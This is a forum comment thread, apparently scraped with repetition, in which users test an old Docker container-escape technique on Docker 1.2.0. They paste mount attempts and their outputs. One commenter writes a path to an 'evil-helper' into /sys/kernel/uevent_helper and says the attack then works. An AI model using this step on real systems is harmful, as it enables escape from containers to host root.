3 ms·

That example is old, but yes it does work, and will continue to work until docker uses user namespaces. That said the example is not a good one because of the

That example is old, but yes it does work, and will continue to work until docker uses user namespaces. That said the example is not a good one because of the changes applied these days, e.g. the use of the UID on the host-side.

kalmi10 12y ago
I actually tried it on Docker 1.2.0 with the ubuntu:14.04 image. /sys is already mounted and it is read-only, and it cannot be mounted manually: root@07ba8c752195:/# mkdir sys2 root@07ba8c752195:/# mount -t sysfs sysfs /sys2 mount: block device sysfs is write-protected, mounting read-only mount: cannot mount block device sysfs read-only
- Lai0chee 12y ago
  BTW: Just one example of a typical Linux namespace vulnerability: http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-namespace.git/commit/?h=for-next&id=a6138db815df5ee542d848318e5dae681590fccd http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-na...
- stevekemp 12y ago
  I tested this with the busybox image, and received a warning that /sys was already mounted, but the attack then proceded to work as expected.
  - kalmi10 12y ago
    kalmi@sylph ~> docker run -t -i busybox:latest / # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # mkdir sys2 / # mount -t sysfs sysfs /sys2 mount: mounting sysfs on /sys2 failed: Permission denied kalmi@sylph ~> docker --version Docker version 1.2.0, build fa7b24f kalmi@sylph ~> uname -r Linux sylph 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:42 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
    - stevekemp 12y ago
      We don't need to argue about this, but I see the same permission-denied issue as you, but that doesn't matter. The /sys is mounted already and reading/writing to it succeeds: / # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper / # cat /sys/kernel/uevent_helper /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper From there the attack works. Obviously the change here is that I need to know the full UID, which is a cheat, but ..

kalmi10 12y ago

I actually tried it on Docker 1.2.0 with the ubuntu:14.04 image. /sys is already mounted and it is read-only, and it cannot be mounted manually: root@07ba8c752195:/# mkdir sys2 root@07ba8c752195:/# mount -t sysfs sysfs /sys2 mount: block device sysfs is write-protected, mounting read-only mount: cannot mount block device sysfs read-only

Lai0chee 12y ago
BTW: Just one example of a typical Linux namespace vulnerability: http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-namespace.git/commit/?h=for-next&id=a6138db815df5ee542d848318e5dae681590fccd http://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-na...
stevekemp 12y ago
I tested this with the busybox image, and received a warning that /sys was already mounted, but the attack then proceded to work as expected.
- kalmi10 12y ago
  kalmi@sylph ~> docker run -t -i busybox:latest / # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # mkdir sys2 / # mount -t sysfs sysfs /sys2 mount: mounting sysfs on /sys2 failed: Permission denied kalmi@sylph ~> docker --version Docker version 1.2.0, build fa7b24f kalmi@sylph ~> uname -r Linux sylph 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:42 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
  - stevekemp 12y ago
    We don't need to argue about this, but I see the same permission-denied issue as you, but that doesn't matter. The /sys is mounted already and reading/writing to it succeeds: / # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper / # cat /sys/kernel/uevent_helper /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper From there the attack works. Obviously the change here is that I need to know the full UID, which is a cheat, but ..